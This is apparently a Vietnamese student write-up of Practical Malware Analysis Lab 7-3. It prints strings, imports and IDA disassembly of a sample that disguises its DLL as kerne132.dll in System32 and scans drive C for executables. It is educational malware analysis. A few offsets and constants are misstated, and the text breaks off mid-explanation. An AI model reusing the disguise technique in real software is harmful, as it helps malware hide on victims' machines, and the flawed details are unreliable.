|
Practical Malware Analysis |
Table of Contents
Lab 7-3
Câu hỏi?
Phân tích chi tiết
1. Thông tin tổng quan
Môi trường phân tích | Windows 10 Flare VM |
---|---|
Mẫu phân tích | Lab07-03.dll Lab07-03.exe |
Size | Lab07-03.dll (163840 bytes) Lab07-03.exe (16384 bytes) |
MD5 |
Lab07-03.dll (290934c61de9176ad682ffdd65f0a669) Lab07-03.exe (bd62dab79881bc6ec0f6be4eef1075bc) |
2. Công cụ sử dụng
- VirusTotal (https://www.virustotal.com): Kiểm tra nhanh bằng nhiều engine antivirus.
- ExeInfo (https://github.com/ExeinfoASL/ASL): để phát hiện xem tệp có bị đóng gói không.
- Stings (https://learn.microsoft.com/en-us/sysinternals/downloads/strings): quét các tệp và trích xuất các chuỗi ký tự ASCII và Unicode có thể in được.
- IDA Pro (https://hex-rays.com/ida-pro): Trình dịch ngược để phân tích mã assembly.
- Dependency Walker (https://www.dependencywalker.com/): hiển thị danh sách các DLL.
3 Phân tích Tĩnh
3.1 - Sử dụng VirusTotal
Lab0703.dll: https://www.virustotal.com/gui/file/f50e42c8dfaab649bde0398867e930b86c2a599e8db83b8260393082268f2dba Lab0703.exe: https://www.virustotal.com/gui/file/3475ce2e4aaa555e5bbd0338641dd411c51615437a854c2cb24b4ca2c048791a
3.2 - Sử dụng Exeinfo PE
3.3 - Sử dụng Dependency Walker
|
Lab07-03.dll
|
- CloseHandle: Cho thấy DLL này có thể làm việc với các đối tượng hệ thống và dọn dẹp sau khi sử dụng chúng.
- CreateMutexA và OpenMutexA: Gợi ý rằng DLL này có thể được thiết kế để hoạt động trong môi trường đa luồng hoặc đa tiến trình, hoặc để ngăn chặn việc chạy nhiều phiên bản của chính nó. Malware đôi khi sử dụng mutex để đảm bảo chỉ có một phiên bản của nó chạy trên hệ thống.
- CreateProcessA: Đây là một dấu hiệu mạnh mẽ của hoạt động độc hại. Malware thường sử dụng hàm này để thực thi payload (phần mã độc hại) hoặc để khởi chạy các chương trình khác nhằm thực hiện các hành động xấu.
- Sleep: Việc sử dụng hàm Sleep thường được malware sử dụng để tránh bị phát hiện bởi các hệ thống phòng thủ hoặc để làm chậm quá trình phân tích.
|
Lab07-03.exe
|
- Các hàm như CreateFileA, CopyFileA, và FindFirstFileA gợi ý rằng chương trình này có thể thực hiện thao tác với file hệ thống như sao chép, tạo, hoặc duyệt qua file.
- Việc sử dụng CreateFileMappingA và MapViewOfFile cho thấy chương trình có thể sử dụng ánh xạ file vào bộ nhớ, đây là một kỹ thuật thường gặp trong các chương trình xử lý dữ liệu lớn hoặc các mã độc (malware) muốn truy cập nhanh vào dữ liệu file.
- IsBadReadPtr có thể được sử dụng để kiểm tra tính hợp lệ của các con trỏ, điều này thường thấy trong các chương trình cần xử lý bộ nhớ trực tiếp hoặc bảo vệ khỏi lỗi truy cập.
3.4 - Sử dụng Strings
Lab07-03.dll:
File: Lab07-03.dll MD5: 290934c61de9176ad682ffdd65f0a669 Size: 163840 Ascii Strings: --------------------------------------------------------------------------- 0000004D !This program cannot be run in DOS mode. 000000C0 Rich 000001D8 .text 000001FF `.rdata 00000227 @.data 00000250 .reloc 00001075 L$xQh 000010F9 IQh ` 00001189 L$4PQj 000011A8 D$\D 00001341 NWVS 00001354 u7WPS 00001365 u&WVS 00001390 _^[] 0000210A CloseHandle 00002118 Sleep 00002120 CreateProcessA 00002132 CreateMutexA 00002142 OpenMutexA 0000214E KERNEL32.dll 0000215C WS2_32.dll 0000216A strncmp 00002172 MSVCRT.dll 00002180 free 00002188 _initterm 00002194 malloc 0000219E _adjust_fdiv 00026010 exec 00026018 sleep 00026020 hello 00026028 127.26.152.13 00026038 SADFHUHF 00027008 /0I0[0h0p0 00027029 141G1[1l1 00027039 1Y2a2g2r2 0002705B 3!3}3 Unicode Strings: ---------------------------------------------------------------------------
0000210A CloseHandle 00002118 Sleep 00002120 CreateProcessA 00002132 CreateMutexA 00002142 OpenMutexA 0000214E KERNEL32.dll 0000215C WS2_32.dll 0000216A strncmp 00002172 MSVCRT.dll ... 00026018 sleep 00026020 hello 00026028 127.26.152.13
- Hành vi mạng: Khả năng giao tiếp với địa chỉ IP cụ thể (127.26.152.13) qua mạng.
- Khả năng khởi chạy tiến trình: Sử dụng API CreateProcessA để tạo tiến trình mới.
- Kỹ thuật che giấu: Sử dụng Sleep để trì hoãn hoặc che giấu hoạt động.
- Quản lý đồng bộ hóa: Sử dụng mutex để kiểm soát hoặc giới hạn thực thi.
Lab07-03.exe:
File: Lab07-03.exe MD5: bd62dab79881bc6ec0f6be4eef1075bc Size: 16384 Ascii Strings: --------------------------------------------------------------------------- 0000004D !This program cannot be run in DOS mode. 000000C8 Richm 000001E0 .text 00000207 `.rdata 0000022F @.data 000010A8 UVWj 0000116C ugh 0@ 000011D5 _^][ 000011ED SUVW 000013A1 h00@ 00001434 _^][ 0000144A SUVW 000014E7 h|0@ 000014F6 D$Pj 0000152C l$\u 00001578 S$QWR 000015AB FxRVP 00001639 D$$3 000016B9 D$8R 000016F2 t$<f 000017E2 T$PR 000017EA hL0@ 000017EF h|0@ 00001806 hD0@ 00001813 _^]3 00001825 hp @ 0000183F SVW 00001931 %8 @ 00001937 %D @ 00001961 %\ @ 00001967 %` @ 00002126 CloseHandle 00002134 UnmapViewOfFile 00002146 IsBadReadPtr 00002156 MapViewOfFile 00002166 CreateFileMappingA 0000217C CreateFileA 0000218A FindClose 00002196 FindNextFileA 000021A6 FindFirstFileA 000021B8 CopyFileA 000021C2 KERNEL32.dll 000021D2 malloc 000021DC exit 000021E2 MSVCRT.dll 000021F0 _exit 000021F8 _XcptFilter 00002206 __p___initenv 00002216 __getmainargs 00002226 _initterm 00002232 __setusermatherr 00002246 _adjust_fdiv 00002256 __p__commode 00002266 __p__fmode 00002274 __set_app_type 00002286 _except_handler3 0000229A _controlfp 000022A8 _stricmp 00003010 kerne132.dll 00003020 kernel32.dll 00003030 .exe 00003044 C:\* 0000304C C:\windows\system32\kerne132.dll 00003070 Kernel32. 0000307C Lab07-03.dll 0000308C C:\Windows\System32\Kernel32.dll 000030B0 WARNING_THIS_WILL_DESTROY_YOUR_MACHINE Unicode Strings: --------------------------------------------------------------------------- 000010BF @jjj 000010D4 @jjj 000014B2 @jjj 000014C9 @jjj
00002126 CloseHandle 00002134 UnmapViewOfFile 00002146 IsBadReadPtr 00002156 MapViewOfFile 00002166 CreateFileMappingA 0000217C CreateFileA 0000218A FindClose 00002196 FindNextFileA 000021A6 FindFirstFileA 000021B8 CopyFileA 000021C2 KERNEL32.dll 000021D2 malloc 000021DC exit 000021E2 MSVCRT.dll ... 0000304C C:\windows\system32\kerne132.dll 00003070 Kernel32. 0000307C Lab07-03.dll 0000308C C:\Windows\System32\Kernel32.dll
3.5- Phân tích tĩnh nâng cao Lab07-03.exe
Hàm main:
.text:00401440 ; =============== S U B R O U T I N E ======================================= .text:00401440 .text:00401440 .text:00401440 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:00401440 _main proc near ; CODE XREF: start+DE↓p .text:00401440 .text:00401440 var_44 = dword ptr -44h .text:00401440 var_40 = dword ptr -40h .text:00401440 var_3C = dword ptr -3Ch .text:00401440 var_38 = dword ptr -38h .text:00401440 var_34 = dword ptr -34h .text:00401440 var_30 = dword ptr -30h .text:00401440 var_2C = dword ptr -2Ch .text:00401440 var_28 = dword ptr -28h .text:00401440 var_24 = dword ptr -24h .text:00401440 var_20 = dword ptr -20h .text:00401440 var_1C = dword ptr -1Ch .text:00401440 var_18 = dword ptr -18h .text:00401440 var_14 = dword ptr -14h .text:00401440 var_10 = dword ptr -10h .text:00401440 var_C = dword ptr -0Ch .text:00401440 hObject = dword ptr -8 .text:00401440 var_4 = dword ptr -4 .text:00401440 argc = dword ptr 4 .text:00401440 argv = dword ptr 8 .text:00401440 envp = dword ptr 0Ch .text:00401440 .text:00401440 mov eax, [esp+argc] .text:00401444 sub esp, 44h .text:00401447 cmp eax, 2 .text:0040144A push ebx .text:0040144B push ebp .text:0040144C push esi .text:0040144D push edi .text:0040144E jnz loc_401813 .text:00401454 mov eax, [esp+54h+argv] .text:00401458 mov esi, offset aWarningThisWil ; "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" .text:0040145D mov eax, [eax+4] .text:00401460 .text:00401460 loc_401460: ; CODE XREF: _main+42↓j .text:00401460 mov dl, [eax] .text:00401462 mov bl, [esi] .text:00401464 mov cl, dl .text:00401466 cmp dl, bl .text:00401468 jnz short loc_401488 .text:0040146A test cl, cl .text:0040146C jz short loc_401484 .text:0040146E mov dl, [eax+1] .text:00401471 mov bl, [esi+1] .text:00401474 mov cl, dl .text:00401476 cmp dl, bl .text:00401478 jnz short loc_401488 .text:0040147A add eax, 2 .text:0040147D add esi, 2 .text:00401480 test cl, cl .text:00401482 jnz short loc_401460 .text:00401484 .text:00401484 loc_401484: ; CODE XREF: _main+2C↑j .text:00401484 xor eax, eax .text:00401486 jmp short loc_40148D .text:00401488 ; --------------------------------------------------------------------------- .text:00401488 .text:00401488 loc_401488: ; CODE XREF: _main+28↑j .text:00401488 ; _main+38↑j .text:00401488 sbb eax, eax .text:0040148A sbb eax, 0FFFFFFFFh .text:0040148D .text:0040148D loc_40148D: ; CODE XREF: _main+46↑j .text:0040148D test eax, eax .text:0040148F jnz loc_401813 .text:00401495 mov edi, ds:CreateFileA .text:0040149B push eax ; hTemplateFile .text:0040149C push eax ; dwFlagsAndAttributes .text:0040149D push 3 ; dwCreationDisposition .text:0040149F push eax ; lpSecurityAttributes .text:004014A0 push 1 ; dwShareMode .text:004014A2 push 80000000h ; dwDesiredAccess .text:004014A7 push offset FileName ; "C:\\Windows\\System32\\Kernel32.dll" .text:004014AC call edi ; CreateFileA .text:004014AE mov ebx, ds:CreateFileMappingA .text:004014B4 push 0 ; lpName .text:004014B6 push 0 ; dwMaximumSizeLow .text:004014B8 push 0 ; dwMaximumSizeHigh .text:004014BA push 2 ; flProtect .text:004014BC push 0 ; lpFileMappingAttributes .text:004014BE push eax ; hFile .text:004014BF mov [esp+6Ch+hObject], eax .text:004014C3 call ebx ; CreateFileMappingA .text:004014C5 mov ebp, ds:MapViewOfFile .text:004014CB push 0 ; dwNumberOfBytesToMap .text:004014CD push 0 ; dwFileOffsetLow .text:004014CF push 0 ; dwFileOffsetHigh .text:004014D1 push 4 ; dwDesiredAccess .text:004014D3 push eax ; hFileMappingObject .text:004014D4 call ebp ; MapViewOfFile .text:004014D6 push 0 ; hTemplateFile .text:004014D8 push 0 ; dwFlagsAndAttributes .text:004014DA push 3 ; dwCreationDisposition .text:004014DC push 0 ; lpSecurityAttributes .text:004014DE push 1 ; dwShareMode .text:004014E0 mov esi, eax .text:004014E2 push 10000000h ; dwDesiredAccess .text:004014E7 push offset ExistingFileName ; "Lab07-03.dll" .text:004014EC mov [esp+70h+argc], esi .text:004014F0 call edi ; CreateFileA .text:004014F2 cmp eax, 0FFFFFFFFh .text:004014F5 mov [esp+54h+var_4], eax .text:004014F9 push 0 ; lpName .text:004014FB jnz short loc_401503 .text:004014FD call ds:exit .text:00401503 ; --------------------------------------------------------------------------- .text:00401503 .text:00401503 loc_401503: ; CODE XREF: _main+BB↑j .text:00401503 push 0 ; dwMaximumSizeLow .text:00401505 push 0 ; dwMaximumSizeHigh .text:00401507 push 4 ; flProtect .text:00401509 push 0 ; lpFileMappingAttributes .text:0040150B push eax ; hFile .text:0040150C call ebx ; CreateFileMappingA .text:0040150E cmp eax, 0FFFFFFFFh .text:00401511 push 0 ; dwNumberOfBytesToMap .text:00401513 jnz short loc_40151B .text:00401515 call ds:exit .text:0040151B ; --------------------------------------------------------------------------- .text:0040151B .text:0040151B loc_40151B: ; CODE XREF: _main+D3↑j .text:0040151B push 0 ; dwFileOffsetLow .text:0040151D push 0 ; dwFileOffsetHigh .text:0040151F push 0F001Fh ; dwDesiredAccess .text:00401524 push eax ; hFileMappingObject .text:00401525 call ebp ; MapViewOfFile .text:00401527 mov ebp, eax .text:00401529 test ebp, ebp .text:0040152B mov [esp+54h+argv], ebp .text:0040152F jnz short loc_401538 .text:00401531 push eax ; Code .text:00401532 call ds:exit .text:00401538 ; --------------------------------------------------------------------------- .text:00401538 .text:00401538 loc_401538: ; CODE XREF: _main+EF↑j .text:00401538 mov edi, [esi+3Ch] .text:0040153B push esi .text:0040153C add edi, esi .text:0040153E push edi .text:0040153F mov [esp+5Ch+var_1C], edi .text:00401543 mov eax, [edi+78h] .text:00401546 push eax .text:00401547 call sub_401040 .text:0040154C mov esi, [ebp+3Ch] .text:0040154F push ebp .text:00401550 add esi, ebp .text:00401552 mov ebx, eax .text:00401554 push esi .text:00401555 mov [esp+68h+var_30], ebx .text:00401559 mov ecx, [esi+78h] .text:0040155C push ecx .text:0040155D call sub_401040 .text:00401562 mov edx, [esp+6Ch+argc] .text:00401566 mov ebp, eax .text:00401568 mov eax, [ebx+1Ch] .text:0040156B push edx .text:0040156C push edi .text:0040156D push eax .text:0040156E call sub_401040 .text:00401573 mov ecx, [esp+78h+argc] .text:00401577 mov edx, [ebx+24h] .text:0040157A push ecx .text:0040157B push edi .text:0040157C push edx .text:0040157D mov [esp+84h+var_38], eax .text:00401581 call sub_401040 .text:00401586 mov ecx, [ebx+20h] .text:00401589 mov [esp+84h+var_20], eax .text:0040158D mov eax, [esp+84h+argc] .text:00401594 push eax .text:00401595 push edi .text:00401596 push ecx .text:00401597 call sub_401040 .text:0040159C mov edx, [esp+90h+argv] .text:004015A3 mov edi, [esi+7Ch] .text:004015A6 mov [esp+90h+var_24], eax .text:004015AA mov eax, [esi+78h] .text:004015AD push edx .text:004015AE push esi .text:004015AF push eax .text:004015B0 call sub_401070 .text:004015B5 mov ecx, edi .text:004015B7 mov esi, ebx .text:004015B9 mov edx, ecx .text:004015BB mov edi, ebp .text:004015BD shr ecx, 2 .text:004015C0 rep movsd .text:004015C2 mov ecx, edx .text:004015C4 add esp, 48h .text:004015C7 and ecx, 3 .text:004015CA mov [esp+54h+var_18], eax .text:004015CE rep movsb .text:004015D0 mov ecx, [ebx+14h] .text:004015D3 mov [ebp+14h], ecx .text:004015D6 mov edx, [ebx+18h] .text:004015D9 lea ebx, [ebp+28h] .text:004015DC mov [ebp+18h], edx .text:004015DF shl ecx, 4 .text:004015E2 lea edx, [ebx+eax] .text:004015E5 mov [ebp+0Ch], edx .text:004015E8 mov esi, dword_403010 .text:004015EE mov edx, ebx .text:004015F0 add ebx, 10h .text:004015F3 mov [esp+54h+var_34], ebx .text:004015F7 mov [edx], esi .text:004015F9 mov esi, dword_403014 .text:004015FF mov [edx+4], esi .text:00401602 mov esi, dword_403018 .text:00401608 mov [edx+8], esi .text:0040160B mov esi, dword_40301C .text:00401611 mov [edx+0Ch], esi .text:00401614 mov edx, [ebp+14h] .text:00401617 lea esi, [ebx+edx*4] .text:0040161A lea edi, [ebx+edx*8] .text:0040161D mov [esp+54h+var_C], esi .text:00401621 mov [esp+54h+var_10], edi .text:00401625 lea edx, [ebx+eax] .text:00401628 add ebx, ecx .text:0040162A mov [ebp+1Ch], edx .text:0040162D lea edx, [esi+eax] .text:00401630 add eax, edi .text:00401632 mov [ebp+24h], edx .text:00401635 mov [ebp+20h], eax .text:00401638 mov eax, [esp+54h+var_30] .text:0040163C xor ecx, ecx .text:0040163E xor edx, edx .text:00401640 mov ebp, [eax+14h] .text:00401643 mov [esp+54h+argv], ecx .text:00401647 test ebp, ebp .text:00401649 mov [esp+54h+var_28], edx .text:0040164D jbe loc_4017D4 .text:00401653 .text:00401653 loc_401653: ; CODE XREF: _main+38E↓j .text:00401653 mov ebp, [esp+54h+var_38] .text:00401657 cmp dword ptr [ebp+0], 0 .text:0040165B jz loc_4017B9 .text:00401661 mov ebp, [eax+18h] .text:00401664 mov [esp+54h+var_2C], 0 .text:0040166C test ebp, ebp .text:0040166E jbe loc_4017B9 .text:00401674 mov ebp, [esp+54h+var_34] .text:00401678 lea ebp, [ebp+ecx*4+0] .text:0040167C lea ecx, [esi+ecx*2] .text:0040167F mov esi, [esp+54h+var_34] .text:00401683 mov [esp+54h+var_44], ecx .text:00401687 mov ecx, [esp+54h+var_24] .text:0040168B mov [esp+54h+var_3C], ecx .text:0040168F mov ecx, [esp+54h+var_20] .text:00401693 mov [esp+54h+var_40], ecx .text:00401697 mov ecx, edi .text:00401699 sub ecx, esi .text:0040169B mov [esp+54h+var_14], ecx .text:0040169F .text:0040169F loc_40169F: ; CODE XREF: _main+367↓j .text:0040169F mov esi, [esp+54h+var_40] .text:004016A3 xor ecx, ecx .text:004016A5 mov cx, [esi] .text:004016A8 cmp ecx, edx .text:004016AA jnz loc_401783 .text:004016B0 mov edx, [esp+54h+argc] .text:004016B4 mov ecx, [esp+54h+var_3C] .text:004016B8 mov eax, [esp+54h+var_1C] .text:004016BC push edx .text:004016BD mov edx, [ecx] .text:004016BF push eax .text:004016C0 push edx .text:004016C1 call sub_401040 .text:004016C6 mov edx, eax .text:004016C8 or ecx, 0FFFFFFFFh .text:004016CB mov edi, edx .text:004016CD xor eax, eax .text:004016CF add esp, 0Ch .text:004016D2 mov esi, edx .text:004016D4 repne scasb .text:004016D6 not ecx .text:004016D8 mov eax, ecx .text:004016DA mov edi, ebx .text:004016DC shr ecx, 2 .text:004016DF rep movsd .text:004016E1 mov ecx, eax .text:004016E3 mov eax, [esp+54h+var_44] .text:004016E7 and ecx, 3 .text:004016EA rep movsb .text:004016EC mov cx, word ptr [esp+54h+argv] .text:004016F1 mov esi, [esp+54h+var_18] .text:004016F5 mov [eax], cx .text:004016F8 mov eax, [esp+54h+var_14] .text:004016FC lea ecx, [ebx+esi] .text:004016FF mov edi, edx .text:00401701 mov [eax+ebp], ecx .text:00401704 or ecx, 0FFFFFFFFh .text:00401707 xor eax, eax .text:00401709 repne scasb .text:0040170B not ecx .text:0040170D dec ecx .text:0040170E mov edi, edx .text:00401710 lea ebx, [ebx+ecx+1] .text:00401714 mov eax, ebx .text:00401716 lea ecx, [ebx+esi] .text:00401719 add ebx, 9 .text:0040171C mov [ebp+0], ecx .text:0040171F mov ecx, dword_403070 .text:00401725 mov [eax], ecx .text:00401727 mov ecx, dword_403074 .text:0040172D mov esi, edx .text:0040172F mov [eax+4], ecx .text:00401732 mov cl, byte_403078 .text:00401738 mov [eax+8], cl .text:0040173B or ecx, 0FFFFFFFFh .text:0040173E xor eax, eax .text:00401740 repne scasb .text:00401742 not ecx .text:00401744 mov eax, ecx .text:00401746 mov edi, ebx .text:00401748 shr ecx, 2 .text:0040174B rep movsd .text:0040174D mov ecx, eax .text:0040174F xor eax, eax .text:00401751 and ecx, 3 .text:00401754 rep movsb .text:00401756 mov edi, edx .text:00401758 or ecx, 0FFFFFFFFh .text:0040175B repne scasb .text:0040175D mov edx, [esp+54h+argv] .text:00401761 mov eax, [esp+54h+var_30] .text:00401765 not ecx .text:00401767 dec ecx .text:00401768 inc edx .text:00401769 mov [esp+54h+argv], edx .text:0040176D mov edx, [esp+54h+var_28] .text:00401771 lea ebx, [ebx+ecx+1] .text:00401775 mov ecx, [esp+54h+var_44] .text:00401779 add ecx, 2 .text:0040177C add ebp, 4 .text:0040177F mov [esp+54h+var_44], ecx .text:00401783 .text:00401783 loc_401783: ; CODE XREF: _main+26A↑j .text:00401783 mov esi, [esp+54h+var_40] .text:00401787 mov ecx, [esp+54h+var_2C] .text:0040178B mov edi, [esp+54h+var_3C] .text:0040178F add esi, 2 .text:00401792 mov [esp+54h+var_40], esi .text:00401796 mov esi, [eax+18h] .text:00401799 inc ecx .text:0040179A add edi, 4 .text:0040179D cmp ecx, esi .text:0040179F mov [esp+54h+var_2C], ecx .text:004017A3 mov [esp+54h+var_3C], edi .text:004017A7 jb loc_40169F .text:004017AD mov ecx, [esp+54h+argv] .text:004017B1 mov edi, [esp+54h+var_10] .text:004017B5 mov esi, [esp+54h+var_C] .text:004017B9 .text:004017B9 loc_4017B9: ; CODE XREF: _main+21B↑j .text:004017B9 ; _main+22E↑j .text:004017B9 mov ebp, [esp+54h+var_38] .text:004017BD inc edx .text:004017BE add ebp, 4 .text:004017C1 mov [esp+54h+var_28], edx .text:004017C5 mov [esp+54h+var_38], ebp .text:004017C9 mov ebp, [eax+14h] .text:004017CC cmp edx, ebp .text:004017CE jb loc_401653 .text:004017D4 .text:004017D4 loc_4017D4: ; CODE XREF: _main+20D↑j .text:004017D4 mov ecx, [esp+54h+hObject] .text:004017D8 mov esi, ds:CloseHandle .text:004017DE push ecx ; hObject .text:004017DF call esi ; CloseHandle .text:004017E1 mov edx, [esp+54h+var_4] .text:004017E5 push edx ; hObject .text:004017E6 call esi ; CloseHandle .text:004017E8 push 0 ; bFailIfExists .text:004017EA push offset NewFileName ; "C:\\windows\\system32\\kerne132.dll" .text:004017EF push offset ExistingFileName ; "Lab07-03.dll" .text:004017F4 call ds:CopyFileA .text:004017FA test eax, eax .text:004017FC push 0 ; int .text:004017FE jnz short loc_401806 .text:00401800 call ds:exit .text:00401806 ; --------------------------------------------------------------------------- .text:00401806 .text:00401806 loc_401806: ; CODE XREF: _main+3BE↑j .text:00401806 push offset aC ; "C:\\*" .text:0040180B call sub_4011E0 .text:00401810 add esp, 8 .text:00401813 .text:00401813 loc_401813: ; CODE XREF: _main+E↑j .text:00401813 ; _main+4F↑j .text:00401813 pop edi .text:00401814 pop esi .text:00401815 pop ebp .text:00401816 xor eax, eax .text:00401818 pop ebx .text:00401819 add esp, 44h .text:0040181C retn .text:0040181C _main endp .text:0040181C .text:0040181C ; ---------------------------------------------------------------------------
3.5.1. Tổng quan hoạt động
Đoạn mã thực hiện các thao tác sau:
- Kiểm tra đầu vào của chương trình để xác nhận số lượng tham số (argc).
- So sánh chuỗi nhập vào với thông điệp cảnh báo "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE".
- Sử dụng một chuỗi các lời gọi API của Windows (CreateFileA, CreateFileMappingA, MapViewOfFile) để truy cập và thao tác trên file hệ thống quan trọng như "C:\\Windows\\System32\\Kernel32.dll".
- Sử dụng API CopyFile A sao chép tệp Lab07-03.dll thành C:\windows\system32\kerne132.dll
3.5.2. So sánh số lượng tham số
1. mov eax, [esp+argc], trong đó argc đại diện cho số lượng tham số dòng lệnh. Khi chạy chương trình từ cmd, tên của file (ví dụ: "Lab07-03.exe") cũng được coi là một tham số. Vì vậy, về cơ bản, khi chạy chương trình mà không truyền bất kỳ giá trị tham số nào, số lượng tham số sẽ là 1.
2. cmp eax, 2: So sánh số lượng tham số với 2.
3. jnz loc_401813: Nếu không phải là 0 (= số lượng tham số không phải là 2), thì nhảy đến loc_401813.
3.5.3. So sánh giá trị của các tham số (arguments)
Khối 2. test eax, eax / jnz loc_401813: Thực hiện phép AND với giá trị 1, kết quả vẫn là 1. Vì vậy, lệnh nhảy (jnz) sẽ chuyển đến loc_401813.
Khối 3. Nếu nhảy đến
loc_401813, hàm sẽ giải phóng
stack và kết thúc.
Cơ chế này đảm bảo rằng khi tham số được truyền vào nhưng không phải là chuỗi WARNING_THIS_WILL_DESTROY_YOUR_MACHINE, thì hàm sẽ dừng lại và kết thúc.
3.5.4. Ngụy trang dưới dạng tệp hệ thống
Trường hợp nếu giá trị đối số là WARNING_THIS_WILL_DESTROY_YOUR_MACHINE.
Sử dụng hàm CreateFileA để lấy handle của tệp C:\Windows\System32\Kernel32.dll, sau đó sử dụng CreateFileMappingA để ánh xạ tệp này vào bộ nhớ và tiếp tục dùng MapViewOfFile để ánh xạ đối tượng đã ánh xạ này vào không gian địa chỉ ảo.
Bên lề:
- Kernel32.dll được mở với quyền truy cập GENERIC_READ (0x80000000) và chia sẻ FILE_SHARE_READ (0x00000001).
- Lab07-03.dll được mở với quyền truy cập GENERIC_READ | GENERIC_WRITE (0x10000000) và không chia sẻ (0x00000000). Điều này cho thấy chương trình có ý định ghi vào tệp này, mặc dù sau đó nó không thực sự được ghi vào tệp gốc.
- MapViewOfFile được gọi với FILE_MAP_READ (0x0004) cho Kernel32.dll và SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE (0xF001F) cho Lab07-03.dll. Quyền EXECUTE cho thấy mã độc có thể thực thi mã từ Lab07-03.dll.
Thực hiện hành động tương tự bằng cách ánh xạ Lab07-03.dll vào bộ nhớ.
1. CloseHandle: Trả lại handle đã được lấy trước đó để ánh xạ tệp.
2. push offset NewFileName ; "C:\\windows\\system32\\kerne132.dll": Truyền giá trị tham số là tên tệp mới, cụ thể là kerne132.dll.
3. push offset ExistingFileName ; "Lab07-03.dll": Truyền giá trị tham số là tên tệp gốc cần sao chép, cụ thể là Lab07-03.dll.
4. call ds:CopyFileA: Sao chép tệp Lab07-03.dll và ngụy trang thành kerne132.dll.
5. test eax, eax: Khi hàm CopyFileA được gọi, nếu thất bại, hàm sẽ trả về giá trị 0, giá trị này sẽ được kiểm tra. Nếu thất bại, thực thi mã tiếp theo; nếu thành công, nhảy đến loc_401806.
→ Ngụy trang tệp Lab07-03.dll thành kerne132.dll.
3.5.5. Duyệt tất cả các tệp trong ổ C
Nhảy đến loc_401806 và đẩy C:\\* vào stack. * là ký tự đại diện, được sử dụng để chỉ 'bao gồm tất cả'. Cụ thể, C:\\* có nghĩa là tất cả các tệp trong ổ C.
Sau khi truyền tham số, gọi hàm sub_4011E0.
Hàm sub_4010E0 có mã khá phức tạp, thực hiện hành động kiểm tra tệp và thực thi các lệnh khác nhau tùy thuộc vào kết quả kiểm tra.
Nhấn đúp vào hàm sub_4010E0, IDA Pro sẽ chuyển đến chi tiết hàm này.
Giá trị C:\\* được lưu vào lpFileName. Truyền giá trị lpFileName làm tham số cho hàm FindFirstFileA, từ đó sẽ tìm kiếm toàn bộ ổ C.
LPFindFileData là cấu trúc dữ liệu chứa thông tin liên quan đến việc tìm kiếm tệp.
Sử dụng LPFindFileData để kiểm tra một số thuộc tính của các tệp.
1. Kiểm tra xem giá trị của dwFileAttributes có phải là 10h (tương đương 16) hay không.
2. Kiểm tra xem giá trị của cFileName (tên tệp) có phải là “.” hay không.
3. Kiểm tra xem giá trị của cFileName (tên tệp) có phải là “..” hay không.
dwFileAttributes đại diện cho thông tin thuộc tính của hệ thống tệp.
Ở đây, giá trị 16 có nghĩa là thư mục. Nói cách khác, kiểm tra xem tệp này có phải là thư mục hay không.
File Attribute Constants | learn microsoft
!strcmp(FindFileData.cFileName, asc_403040): Nếu tên tệp là
asc_403040
(tức là “.”), giá trị trả về sẽ là 1.
!strcmp(FindFileData.cFileName, asc_40303C): Nếu tên tệp là
asc_40303C
(tức là “..”), giá trị trả về sẽ là 1.
→ Nếu là thư mục con, khối
Else
sẽ được thực thi. Ngược lại, nếu là thư mục hiện tại, thư mục cha hoặc
tệp thông thường, khối
If
sẽ được thực thi.
Trường hợp là thư mục con:
Bên lề Tại sao sử dụng \* thay vì \\*
Nhìn vào đồ thị IDA, chuỗi được hiển thị là \\*. Tuy nhiên, giá trị thực tế được truyền vào là \*. Tại sao lại như vậy?
Lý do là ký tự \ là một ký tự escape.
Dấu gạch chéo ngược \ là ký tự escape dùng để biểu thị rằng ký tự tiếp theo là một ký tự đặc biệt. Vì vậy, khi thực thi, nó không được xử lý như một chuỗi thông thường. Nói cách khác, \\* sẽ được hiểu và truyền vào dưới dạng \*.
Giải thích bổ sung về hàm đệ quy trong Lab07-03.exe:
if ( !stricmp((const char *)&FindFileData.dwReserved0 + v6 + 3, aExe) ): So sánh để kiểm tra xem phần mở rộng của tệp có phải là .exe hay không.
Bên lề: Giải thích về khoảng cách 4 byte giữa dwReserved0 và cFileName
Cấu trúc _WIN32_FIND_DATAA được sử dụng để lưu trữ thông tin về một tệp được tìm thấy bởi các hàm như FindFirstFileA và FindNextFileA. Dưới đây là cấu trúc (đã được đơn giản hóa):
C typedef struct _WIN32_FIND_DATAA { DWORD dwFileAttributes; // Offset 0x00 (4 bytes) FILETIME ftCreationTime; // Offset 0x04 (8 bytes) FILETIME ftLastAccessTime; // Offset 0x0C (8 bytes) FILETIME ftLastWriteTime; // Offset 0x14 (8 bytes) DWORD nFileSizeHigh; // Offset 0x1C (4 bytes) DWORD nFileSizeLow; // Offset 0x20 (4 bytes) DWORD dwReserved0; // Offset 0x24 (4 bytes) DWORD dwReserved1; // Offset 0x28 (4 bytes) CHAR cFileName[MAX_PATH]; // Offset 0x2C (260 bytes) CHAR cAlternateFileName[14]; // Offset 0x130 (14 bytes) } WIN32_FIND_DATAA, *PWIN32_FIND_DATAA;
Phân tích offset và kích thước:
-
Các trường từ
dwFileAttributes đến
nFileSizeLow đã chiếm một
tổng cộng 4 + 8 + 8 + 8 + 4 + 4 = 36 bytes (0x24 trong hệ thập lục
phân).
-
dwReserved0 là một DWORD
(Double Word), có kích thước 4 byte. Vì vậy, nó bắt đầu ở offset 0x24
và kết thúc ở offset 0x27.
-
dwReserved1 cũng là một
DWORD (4 byte). Nó bắt đầu ngay sau
dwReserved0, tức là ở
offset 0x28 và kết thúc ở offset 0x2B.
-
cFileName là một mảng ký
tự CHAR[260]. CHAR thường
có kích thước 1 byte. Vì vậy,
cFileName chiếm 260 byte.
Nó bắt đầu ngay sau
dwReserved1, tức là ở
offset 0x2C.
Khoảng cách 4 byte:
Như bạn thấy, dwReserved0 kết thúc ở offset 0x27, và cFileName bắt đầu ở offset 0x2C. Vậy khoảng cách giữa chúng là 0x2C - 0x27 = 5 (theo hệ thập lục phân) = 4 (theo hệ thập phân).
Bên lề:
- Trường này nằm ở một vị trí cố định trong bộ nhớ và thường được sử dụng như một con trỏ hoặc để lưu trữ thông tin bổ sung.
- Trong trường hợp này, nó được dùng làm cơ sở để tính toán vị trí của phần mở rộng tệp.
- v6 là độ dài của tên tệp (strlen(FindFileData.cFileName) + 1).
- Cụ thể:
